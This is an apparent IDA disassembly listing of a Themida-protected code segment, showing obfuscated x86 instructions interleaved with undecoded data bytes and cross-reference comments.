; ---------------------------------------------------------------------------
aIsS		db '┴И]И)',0
		align 4
		dd 0B6E9F829h
		db 49h,	2 dup(0)
byte_54BD2B	db 66h			; DATA XREF: Themida_:00546220o
		dd 8124048Bh, 4ECh, 24348900h, 4732E9h,	0C3885300h, 885BDA88h
		dd 24148BD5h, 256AE9h, 24348B00h, 2241E9h
		db 0
byte_54BD55	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005463F8o
		dd 4EC8324h, 0FFD9D7E9h, 242C89FFh, 0D4E9DDBDh,	5DEE2957h
		dd 0E95E3029h, 4397h, 0FEE9E789h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54BD7B:				; CODE XREF: Themida_:0054C48Aj
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	780Dh
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		push	ecx
		mov	ecx, 42961F82h
		add	ecx, 220F437Eh
		add	esi, ecx
		pop	ecx
		jmp	loc_54DE93
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 37E95F04h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BDAF:				; CODE XREF: Themida_:0054A7D0j
		pop	esp
		or	eax, eax
		jmp	loc_550A5A
; ---------------------------------------------------------------------------
		db 0FFh
		dd 55582434h, 0FFB7EFE9h
		db 0FFh
byte_54BDC1	db 55h,	53h, 52h	; DATA XREF: Themida_:00546470o
		dd 2C4659BAh, 35E2816Bh, 0E9672648h, 0FFFFDC76h, 4C681h
		dd 34870000h, 0FFE95C24h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BDE3:				; CODE XREF: Themida_:0054936Ej
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		push	1F1Eh
		jmp	loc_549EE8
; ---------------------------------------------------------------------------


loc_54BE18:				; CODE XREF: Themida_:0054DEB5j
		jz	loc_54E263
		push	edx
		jmp	loc_54D13C
; ---------------------------------------------------------------------------
		dd 1C8BD800h, 0E2895224h, 2772E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BE31:				; CODE XREF: Themida_:0054B270j
		pop	esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, 4000h
		mov	ebx, ecx
		pop	ecx
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_54BF33
; ---------------------------------------------------------------------------
		dd 3058E630h, 148B66F0h, 2C48324h, 440FE9h, 27E6800h, 34890000h
		dd 0CEA7E924h, 0F781FFFFh, 7E532711h, 0FFEE32E9h
		db 0FFh
byte_54BE85	db 0ACh, 4, 0E7h	; DATA XREF: Themida_:005463CCo
		dd 0EC83D800h, 24148904h, 0E768F7B6h, 0E900000Dh, 1262h
; ---------------------------------------------------------------------------


loc_54BE9C:				; CODE XREF: Themida_:0054D3DEj
		pop	eax
		jmp	loc_546C6D
; ---------------------------------------------------------------------------
		dw 0CE29h
		dd 2434FF59h, 4C4815Bh,	33000000h, 2AE92434h, 8900001Ah
		dd 4CE92414h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54BEBF:				; CODE XREF: Themida_:0054F0D8j
		mov	[esp], eax
		jmp	loc_54D8F8
; ---------------------------------------------------------------------------


loc_54BEC7:				; CODE XREF: Themida_:00549B9Ej
		pop	eax
		not	ebx
		sub	ebx, 51C96309h
		add	ebx, 97AEECBEh
		add	eax, ebx
		pop	ebx
		push	5BE9h
		mov	[esp], edx
		jmp	loc_54744A
; ---------------------------------------------------------------------------
		dw 0F800h
		dd 4E95B66h, 0BD00000Bh, 4C6F42E9h, 91F5814Dh, 295ABB7Fh
		dd 0CF37E9EFh, 0C701FFFFh, 4B95158h, 1000000h, 3C8759CFh
		dd 24248B24h, 42568h, 24148900h, 0E9565157h, 0FFFFB833h
		dd 0C3FE11B3h, 80E0C380h, 0F1E920F3h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BF33:				; CODE XREF: Themida_:0054BE57j
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_5471EC
; ---------------------------------------------------------------------------
		dw 15Eh
		dd 5F04247Ch, 72E9008Fh, 2CFFFFAFh, 0E96D047Ah,	4E80h
; ---------------------------------------------------------------------------


loc_54BF58:				; CODE XREF: Themida_:00549DEBj
		sub	edi, 0DF5B9B65h
		add	ebp, edi
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_5464EB
; ---------------------------------------------------------------------------
		db 81h
		dd 1B04246Ch, 16A4333h,	81042454h, 1B042444h, 5A6A4333h
		dd 2CCDE95Ah, 0E9510000h, 662Fh, 0F38032B3h, 3FC38045h
		dd 0E380CBFEh, 0EA4AE90Ah, 0C889FFFFh, 46E1E9h,	3EB85000h
		dd 25738F5Dh, 51DE439Bh, 0D16C9725h, 42C30D32h,	0E20D1CC8h
		dd 2D7C8238h, 6B453FB7h, 6858C501h, 0
		dd 98242C81h, 2949773Ch, 481242Ch, 773C9824h, 2434FF49h
		dd 4C4835Dh, 0FCB8504Dh, 0E9A39D95h, 4D03h, 48B665Ch, 5A545224h
		dd 57E28952h, 4BFh, 5FD8E900h, 305B0000h, 240C8BE8h, 4C481h
		dd 15680000h, 89000059h, 0C2B22414h, 669EE280h,	0C852E953h
		dd 0C481FFFFh, 4, 5C24048Fh, 50241489h,	0A495E99Ch, 10BFFFFFh
		dd 815E5310h, 0B742CBE7h, 9DC7813Ch, 29EC8932h,	0B9E95FF9h
		dd 1FFFFF4h, 1EC381D3h,	0FF27A665h, 835A2434h, 565204C4h
		dd 0FFB3FDE9h, 605468FFh, 70E90000h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C08F:				; CODE XREF: Themida_:00548103j
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		sub	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	4251h
		mov	[esp], edi
		push	3AD0462h
		pop	edi
		add	eax, edi
		pop	edi
		jmp	loc_5470C4
; ---------------------------------------------------------------------------


loc_54C0BD:				; CODE XREF: Themida_:005468BAj
		push	esi
		push	ebp
		mov	ebp, 43A7089Dh
		mov	esi, ebp
		pop	ebp
		sub	ecx, esi
		mov	esi, [esp]
		sub	esp, 4
		jmp	loc_54B208
; ---------------------------------------------------------------------------
		db 81h
		dd 2C4h, 94BE900h, 0E9540000h, 295h, 0E959C801h, 0FFFFCE9Bh
		dd 0BE243489h, 2, 348BF701h, 4C48324h, 2474FF57h, 243C8B04h
		dd 5B2AE9h, 4C68100h, 0E9000000h, 6124h, 8156E189h, 4ECh
		dd 24048900h, 341985B8h, 0ED9DE925h, 0DC88FFFFh, 0A6E9525Bh
		dd 66FFFFA8h, 8124148Bh, 4ECh, 24048900h, 0FFD60BE9h, 5DEF01FFh
		dd 815FFD31h, 0C63C2FE5h, 4E5C123h, 3639F581h, 0F5815F58h
		dd 0CCB61EAh, 26BEE9h, 24248B00h, 2896664h, 0FFA376E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C175:				; CODE XREF: Themida_:005519D3j
		push	esi
		jmp	loc_550EEC
; ---------------------------------------------------------------------------


loc_54C17B:				; CODE XREF: Themida_:00549DF7j
		mov	ecx, 4
		jmp	loc_54AA88
; ---------------------------------------------------------------------------
		db 0B7h, 6Fh, 0E9h
		dd 12AAh, 5F2434FFh, 62B2E9h, 24148900h, 0C281E289h, 4
		dd 8704C283h, 835C2414h, 0C3304C1h, 240C3124h, 8B240C33h
		dd 4212424h, 2CE99C24h,	0F7FFFFA3h, 1C783DFh, 0FD25E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C1CA:				; CODE XREF: Themida_:00549C15j
		movzx	cx, al
		jmp	loc_54C3A8
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 4EC8104h, 0E9000000h, 3EB3h, 4C481h, 4680000h
		dd 0E900001Bh, 0FFFFFEFCh, 2DC2814Ah, 0F7390443h, 4EC81DAh
		dd 89000000h, 0E953240Ch, 1CF4h
; ---------------------------------------------------------------------------


loc_54C20C:				; CODE XREF: Themida_:00549EDBj
		mov	ebx, 65E468C3h
		add	ebx, 41A8360Eh
		sub	ebx, eax
		jmp	loc_5506D4
; ---------------------------------------------------------------------------


loc_54C21E:				; CODE XREF: Themida_:005500D1j
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		push	1BD3h
		mov	[esp], esp
		push	eax
		mov	eax, 4
		sub	dword ptr [esp+4], 5F8F3400h
		push	ebp
		mov	ebp, 29007597h
		jmp	loc_5520BF
; ---------------------------------------------------------------------------
		dd 0EE80D6F6h, 0A5F680FFh, 2C4AB353h, 4D82821h,	0F0005B21h
		dd 0FFE3EFE9h, 30DA30FFh, 30D2F6D3h, 30DA30D3h,	41E380D3h
		dd 0C380C3FEh, 8BDE281Bh, 0C483241Ch, 2387E904h, 14870000h
		dd 4ED6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C28E:				; CODE XREF: Themida_:0054F640j
		mov	ebx, 8EDE9F58h
		xor	ecx, ebx
		jmp	loc_550F47
; ---------------------------------------------------------------------------
		dw 4D66h
		dd 0E9DDF766h, 292Bh, 566FE95Dh, 0E7800000h, 0D3CF8016h
		dd 0FFDCF0E9h, 0F26866FFh, 29BBE907h, 0FD880000h, 0E9241C8Bh
		dd 0FFFFCFBBh, 80E1F280h, 0D000EAC2h, 0FBE9535Ah
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C2D7:				; CODE XREF: Themida_:0054E5C6j
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_54CA62
; ---------------------------------------------------------------------------
word_54C2E2	dw 8B66h		; DATA XREF: Themida_:00546428o
		dd 8950240Ch, 0CA07E9E0h, 0F209FFFFh, 99C2815Eh, 31BF24A3h
		dd 0CA015AD1h, 29C28159h, 55657839h, 3D0C85BDh,	8BEA313Eh
		dd 0C483242Ch, 0CB73E904h, 0EB80FFFFh, 0E9E328AFh, 0FFFFD08Dh
		dd 170FEF81h, 8E91FD4h,	0FFFFF4h, 0EA6866EAh, 489660Ah
		dd 8096B424h, 78E95AF4h, 81FFFFA2h, 4ECh, 24248900h, 0CFFAE957h
		dd 5CFFFFh, 66D22CF8h, 0E9241C8Bh, 0FFFFFD7Bh
; ---------------------------------------------------------------------------


loc_54C35C:				; CODE XREF: Themida_:00549401j
		or	edx, eax
		shl	edx, 1
		push	edx
		jmp	loc_550178
; ---------------------------------------------------------------------------


loc_54C366:				; CODE XREF: Themida_:00552062j
		sub	ecx, esi
		push	ebx
		mov	ebx, 49847D9Bh
		dec	ebx
		shl	ebx, 8
		xor	ebx, 0C4D1C173h
		jmp	loc_54B7C0
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0C4h
		dd 89FFFFCBh, 4C181E1h,	55000000h, 8D0A47BDh, 0C1DDF759h
		dd 7CE903EDh, 81000014h, 9F7FA2EBh, 0E9C3015Eh,	0FFFFC73Eh
; ---------------------------------------------------------------------------


loc_54C3A8:				; CODE XREF: Themida_:0054C1CEj
		push	cx
		pushf
		jmp	loc_5464EB
; ---------------------------------------------------------------------------
		dd 162CBF57h, 0F8015AC5h, 83243C8Bh, 836804C4h,	8900001Eh
		dd 0E789243Ch, 6646BE56h, 9AE97DF9h, 2DFFFFFAh,	4, 0FFF241E9h
		dd 5AF300FFh, 0EB80C328h, 0B25251B0h, 68A2h, 14280000h
		dd 24148A24h, 8004C483h, 68E9FBE2h, 5600002Ch, 0FFED48E9h
		db 0FFh
; ---------------------------------------------------------------------------

locret_54C405:				; CODE XREF: Themida_:0054761Ej
		retn
; ---------------------------------------------------------------------------
		dw 0E0E9h
		dd 1FFFFA0h, 0C0835BD8h, 2ACE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C416:				; CODE XREF: Themida_:00548EB3j
		pop	eax
		push	3AA5h
		mov	[esp], edx
		push	esi
		jmp	loc_5491EE
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 4812424h,	424h, 240C8B00h, 5BEE9h, 4EC8300h
		dd 89240C89h, 149E9E1h,	0CEBD0000h, 942D60Dh, 0F1815DE9h
		dd 72ED50EBh, 68FABA52h, 0B850474Ah, 0E70B489Fh, 0FFAB2DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C469:				; CODE XREF: Themida_:0054B177j
		pop	ebp
		add	esp, 4
		push	ebp
		mov	ebp, 7FE3587h
		not	ebp
		sub	ebp, 192617D8h
		dec	ebp
		not	ebp
		push	edx
		mov	edx, 23244D60h
		xor	ebp, edx
		pop	edx
		jmp	loc_54BD7B
; ---------------------------------------------------------------------------
		db 0B8h
		dd 6E3B4CB2h, 6D2D4848h, 31458BDFh, 0A3E958C1h,	66FFFFD3h
		dd 247BC781h, 19AFE9h, 24043000h, 0A035E99Ch, 4481FFFFh
		dd 63FB0424h, 6C297B2Ch, 0B8500424h, 7B2C63FBh,	8244429h
		dd 34FF5D58h, 1F5FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C4D6:				; CODE XREF: Themida_:00549EF5j
		xchg	esi, edx
		xchg	ebp, esi
		sub	esp, 4
		jmp	loc_54F958
; ---------------------------------------------------------------------------


loc_54C4E2:				; CODE XREF: Themida_:005478ABj
		add	ebx, edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 410A0A27h
		jmp	loc_551001
; ---------------------------------------------------------------------------
		dd 8B1DEB80h, 0C483240Ch, 0E9C32804h, 0FFFFCDCAh, 24148B66h
		dd 4A1768h, 242C8900h, 0D3E95D54h, 8900000Ch, 0BD552424h
		dd 4, 4246C01h,	0EC815B5Dh, 4, 0E9243489h, 0FFFFB739h
		dd 42474FFh, 24048F5Bh,	6624248Bh, 9C240CD3h, 0FF9FA2E9h
		dd 0F20966FFh, 0F281665Eh, 81660CCFh, 0E9D9B4C2h, 6C7h
; ---------------------------------------------------------------------------


loc_54C55C:				; CODE XREF: Themida_:0054FFDDj
		pop	esp
		mov	[esp], ebx
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5513D9
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 68000000h, 3601h, 51240489h,	7D7FBE56h, 0B7E91534h
		dd 52FFFFB3h, 0FF02A6BAh, 0CDC28154h, 567B8801h, 0C36E6FBEh
		dd 0A28BE95Eh, 0F781FFFFh, 7B1E098Dh, 5167E947h, 0BD660000h
		dd 0F76608B7h, 0CD8166DDh, 8166610Ah, 661B09C5h, 6606EDC1h
		dd 690BF581h, 66505166h, 666983B8h, 665DA425h, 4066D0F7h
		dd 724A2566h, 4EE3E9h, 0F7895B00h, 84B8505Eh, 31479389h
		dd 24048BC7h, 8904EC83h, 0E789243Ch, 4C781h, 0C7810000h
		dd 4, 0FFEAB7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C611:				; CODE XREF: Themida_:00546D79j
		and	ecx, 117D5C40h
		push	eax
		mov	eax, 3DF47DB7h
		jmp	loc_5466AE
; ---------------------------------------------------------------------------
		dw 8F5Eh
		dd 505C2404h, 0B8E97FB0h, 81000030h, 4C4406C7h,	0C1DFF71Dh
		dd 0EF8105EFh, 0D46D1554h, 3C8BFA89h, 0E0895024h, 0FFE1EBE9h
		dd 242C87FFh, 5D5EE9h
		db 0
; ---------------------------------------------------------------------------


loc_54C655:				; CODE XREF: Themida_:0054D431j
		mov	edi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 6B6356DAh
		jmp	loc_54EC4C
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 86h
		dd 0E900001Dh, 0FFFF9E77h
; ---------------------------------------------------------------------------


loc_54C674:				; CODE XREF: Themida_:0054AD1Bj
		mov	edi, 748354AEh
		xor	edi, ecx
		pop	ecx
		neg	edi
		shl	edi, 2
		and	edi, 69C104C8h
		xor	edi, 5D925E31h
		add	eax, edi
		jmp	loc_548CA1
; ---------------------------------------------------------------------------
		dd 3FF9F581h, 0EE894FFFh, 81242C8Bh, 4C4h, 8BF20100h, 0C4812434h
		dd 4, 8B241487h, 0C80F2424h, 511768h, 4E3E900h,	4870000h
		dd 24248B24h, 81E68956h, 4C6h, 0B77FE900h, 59FFFFh, 0AF45E9F8h
		dd 0BB53FFFFh, 2D9D0826h, 0CFE9D3F7h, 8900004Dh, 0B74CE9E6h
		db 2 dup(0FFh)
word_54C6F2	dw 8F64h		; DATA XREF: Themida_:0054626Co
		dd 9DF1E902h, 4B9FFFFh,	29000000h, 2C8759CDh, 71E95C24h
		dd 8B00001Ah, 8B662424h, 5452240Ch, 4C2815Ah, 56000000h
		dd 2430E957h, 34310000h, 24343324h, 6824248Bh, 1A9Ch, 83242489h
		dd 8F042404h, 89572404h, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 243C895Ch, 4BFh, 24448100h, 976CDF04h, 247C011Ch, 246C8104h
		dd 976CDF04h, 243C8B1Ch, 4C481h, 74E90000h, 2CFFFF9Dh
		dd 5A6657h, 0E9AE2CF8h,	0FFFFBB87h
; ---------------------------------------------------------------------------


loc_54C784:				; CODE XREF: Themida_:0054F047j
		push	edx
		jmp	loc_550777
; ---------------------------------------------------------------------------
word_54C78A	dw 8B66h		; DATA XREF: Themida_:00546388o
		dd 3C68240Ch, 89000067h, 68E9243Ch, 8900005Bh, 0BB532424h
		dd 4, 2335E9h, 44C28100h, 5F212E1Ch, 5CE9D109h,	6600003Ch
		dd 88240C89h, 88C5FEFDh, 0E95966EFh, 0FFFFEEBEh, 0BB22C8BAh
		dd 5AD1315Dh, 0AB63E955h, 1C89FFFFh, 349FE924h,	83580000h
		dd 348904ECh, 0E9E68924h, 0FFFFCF6Fh, 5004E9C1h, 0FFFC9AE9h
		dd 814A5AFFh, 0F4CB63EAh, 0FFD70123h, 0E95A2434h, 0FFFFC412h
		dd 53243C8Bh, 0C381E389h, 4, 8704C383h,	248B241Ch, 17EA8124h
		dd 16CE8BDh, 602BE9D1h,	81590000h, 0F730D1E9h, 81F10110h
		dd 0F730D1C1h, 0C1835E10h, 240C8702h, 0A30F665Ch, 0E99C2404h
		dd 2954h, 0C8AF0F66h, 0E99C5166h, 0FFFF9C93h
; ---------------------------------------------------------------------------


loc_54C858:				; CODE XREF: Themida_:00550333j
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_551E54
; ---------------------------------------------------------------------------
word_54C862	dw 0AD66h		; DATA XREF: Themida_:00546304o
		dd 0F2BA6652h, 0D828E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C86E:				; CODE XREF: Themida_:00550693j
		pop	ebx
		pop	eax
		push	ebx
		mov	ebx, 12A32778h
		push	edi
		push	ebx
		push	52973339h
		pop	ebx
		jmp	loc_54F7E9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 8904EC83h, 0AEBD242Ch, 0E978428Fh, 0FFFFE7DCh
		dd 1C08BE56h, 0CE81790Ch, 58151954h, 1E9D6F7h, 0FF000020h
		dd 81592434h, 4C4h, 0C50FE900h,	3487FFFFh, 51665C24h, 5B97E952h
		dd 39BF0000h, 120706Eh,	902D5FF8h, 5549BF29h, 0F82ED1BDh
		dd 0C1DDF77Ah, 814503EDh, 0A3E3FC5h, 66C58179h,	18A0DF5h
		dd 242C8BE8h, 2403E9h, 81F20100h, 44511BEAh, 7FE95E1Dh
		dd 8BFFFFF9h, 0C4832424h, 2434FF04h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_548C95
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0E99C2404h, 0FFFF9BC7h
; ---------------------------------------------------------------------------


loc_54C924:				; CODE XREF: Themida_:00550BEDj
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_546CF2
; ---------------------------------------------------------------------------
		db 0Fh,	0B7h, 0C8h
		dd 0FFA1ECE9h, 81D7F7FFh, 0D7298DF7h, 0D8C78161h, 0E91EB573h
		dd 1BAFh
dword_54C94C	dd 9D1C77FFh, 4105866h,	5BE99C24h ; DATA XREF: Themida_:0054644Co
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C95B:				; CODE XREF: Themida_:0055094Bj
		xchg	esi, ebp
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	edx
		xchg	edx, [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	7EAFh
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_54E8E9
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24143302h, 33241431h, 4E92414h, 5F000038h, 7C5EF681h
		dd 0BB532469h, 233B1A30h, 7327EB81h, 0E3815CB2h, 6A3D1490h
		dd 0E381D3F7h, 7B33B3h,	124AC381h, 0DE314331h, 0FFFC14E9h
		dd 28BA2CFFh, 0C130E9D8h, 0C481FFFFh, 4, 9C240401h, 0FF9AFEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C9ED:				; CODE XREF: Themida_:005470A4j
		pop	esi
		jmp	loc_550E9C
; ---------------------------------------------------------------------------
		align 4
		dd 7E952F0h, 83FFFFA7h,	48904ECh, 5E08924h, 4, 1F3FE9h
		db 0
byte_54CA0D	db 0ADh, 51h, 68h	; DATA XREF: Themida_:00546308o
		dd 383h, 0E9242C89h, 0FFFFE34Ah, 0FFC0B60Fh, 34FF8734h
		dd 24048B24h, 0FFB64EE9h, 44E952FFh, 88000027h,	5BF988F7h
		dd 8324148Bh, 70E904C4h, 0FFFFDAh, 0F2B6E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CA4A:				; CODE XREF: Themida_:0054F5C0j
		pop	edx
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_5464EB
; ---------------------------------------------------------------------------
		db 81h
		dd 9B231CE3h, 41D3E90Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CA62:				; CODE XREF: Themida_:0054C2DDj
		mov	esp, [esp]
		mov	[esp], ebp
		push	eax
		mov	eax, ebx
		mov	ebp, eax
		jmp	loc_5481DB
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4C281h, 14870000h, 0B78AE924h, 5259FFFFh,	88535153h
		dd 25A9E9C3h
		db 2 dup(0)
word_54CA92	dw 8B66h		; DATA XREF: Themida_:00546454o
		dd 8950240Ch, 0E95751E0h, 5A5Fh, 24148966h, 0E99C5066h
		dd 0FFFF9A3Fh, 4C281h, 0EA830000h, 24148704h, 0D0F1E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CABE:				; CODE XREF: Themida_:0054908Dj
		add	eax, 4
		jmp	loc_54ABF4
; ---------------------------------------------------------------------------
		dd 5C241487h, 0E9243487h, 4Dh, 1BED814Dh, 31AD8291h, 2C22E9EFh
		dd 0C4810000h, 4, 0E904EC83h, 1F3h
; ---------------------------------------------------------------------------


loc_54CAF0:				; CODE XREF: Themida_:0054A5EAj
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7B3039A5h
		push	ebp
		jmp	loc_551E7B
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 0E9h
		dd 3735h, 4C481h, 23680000h, 89000044h,	0E0892404h, 32D6E9h
		dd 8B665C00h, 0D8E92404h, 52FFFFA0h, 0C281E289h, 4, 8704C283h
		dd 515C2414h, 0FFCA67E9h, 4C083FFh, 0FFE42CE9h,	3E7C0FFh
		dd 2C4DEF80h, 81F828D5h, 4ECh, 0EA80E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CB5E:				; CODE XREF: Themida_:00547A3Ej
		pop	eax
		and	ecx, esi
		pop	esi
		jmp	loc_54F159
; ---------------------------------------------------------------------------


loc_54CB67:				; CODE XREF: Themida_:005496B9j
		mov	ebp, [esp]
		jmp	loc_546758
; ---------------------------------------------------------------------------


loc_54CB6F:				; CODE XREF: Themida_:0054847Bj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		mov	esi, 46FE7D5Eh
		mov	edx, esi
		pop	esi
		shl	edx, 3
		shl	edx, 3
		dec	edx
		not	edx
		jmp	loc_54AAA5
; ---------------------------------------------------------------------------
byte_54CB99	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00546350o
		dd 5724048Bh, 0FFEC06E9h, 240489FFh, 0FF993EE9h, 8B665EFFh
		dd 89532414h, 4C381E3h,	81000000h, 2C3h, 241C8700h, 0EB81665Ch
		dd 66572BBCh, 6640FEBFh, 2870F781h, 1EB8166h, 0FB016669h
		dd 1C38166h, 81665F69h,	665681EBh, 8166C301h, 815681C3h
		dd 4ECh, 243C8900h, 294868h, 242C8900h,	0C581E589h, 4
		dd 8704ED83h, 895C242Ch, 0BE662434h, 0BF660199h, 296645ACh
		dd 80E95EF7h, 66FFFFF8h, 34FFD029h, 0EE4BE924h,	487FFFFh
		dd 24248B24h, 3DF068h, 24348900h, 0B766857h, 515F11AAh
		dd 383AE9h
		db 0
; ---------------------------------------------------------------------------


loc_54CC49:				; CODE XREF: Themida_:005476B6j
		push	eax
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	48CFh
		jmp	loc_546F77
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 2
		dd 53000000h, 0C3FEE9B3h, 0FEECE380h, 20EB80CBh, 2A63E9h
		dd 24048F00h, 0DD8BE95Ch, 166FFFFh, 665966CDh, 565DEA01h
		dd 0A4686652h, 0D52CE905h
		db 2 dup(0FFh)
word_54CC96	dw 1CF6h		; DATA XREF: Themida_:0054628Co
		dd 4CE99C24h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CC9F:				; CODE XREF: Themida_:0054A80Bj
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_546E94
; ---------------------------------------------------------------------------
byte_54CCA9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00546480o
		dd 0E92434FFh, 0FFFFF103h
; ---------------------------------------------------------------------------


loc_54CCB4:				; CODE XREF: Themida_:00548869j
		mov	edi, 0F825E72Ah
		push	edi
		push	ebp
		mov	ebp, 4C02419h
		add	[esp+4], ebp
		pop	ebp
		pop	eax
		push	edi
		mov	edi, 4C02419h
		sub	eax, edi
		pop	edi
		pop	edi
		sub	eax, 3CF3208Fh
		jmp	loc_5495D9
; ---------------------------------------------------------------------------


loc_54CCDA:				; CODE XREF: Themida_:0054BBEAj
		push	ebx
		neg	dword ptr [esp]
		jmp	loc_54F9F4
; ---------------------------------------------------------------------------
		db 89h
		dd 4BBD242Ch, 0E91E745Dh, 4E59h, 56241489h, 3A0EE9h, 4C28100h
		dd 83000000h, 148704C2h, 0CA815C24h, 35EE54CCh,	2E5FB850h
		dd 37057CDEh, 29FB1AEFh, 0CAE958C2h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54CD1F:				; CODE XREF: Themida_:005471A6j
		shr	ecx, 6
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5488C2
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BF243C89h, 36FB050Fh, 8102E7C1h,	5D4B55EFh, 3EFC158h
		dd 6D9AEF81h, 0C2E91083h, 5300004Dh, 8AE95CB7h,	0B6FFFFB2h
		dd 0F5C680F1h, 5AF100h,	61E959C8h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CD6F:				; CODE XREF: Themida_:0054F4C9j
		jmp	loc_5464EB
; ---------------------------------------------------------------------------
		dd 7059C181h, 0CE896DD5h, 5EF30159h, 86A68h, 0DA05E900h
		dd 0C381FFFFh, 5E59401Eh, 0EB81EB01h, 5E59401Eh, 4C3815Dh
		dd 53000000h, 42474FFh,	24048F5Bh, 0E924248Bh, 0FFFF973Bh
; ---------------------------------------------------------------------------


loc_54CDB0:				; CODE XREF: Themida_:00549DBFj
		sub	ebp, ebx
		pop	ebx
		xchg	esi, ebp
		jmp	loc_551F45
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 70BA3D2Ah, 22E9F931h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54CDC7:				; CODE XREF: Themida_:00552221j
		push	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_551FAD
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd offset dword_4E109C+4Dh
		dd 0FFEF8100h, 4FFFFFFFh, 414568h, 24048900h, 0BF0CC6B8h
		dd 7BE5614h, 0E90C1A6Dh, 1399h,	0A82DF029h, 0E97EDE03h
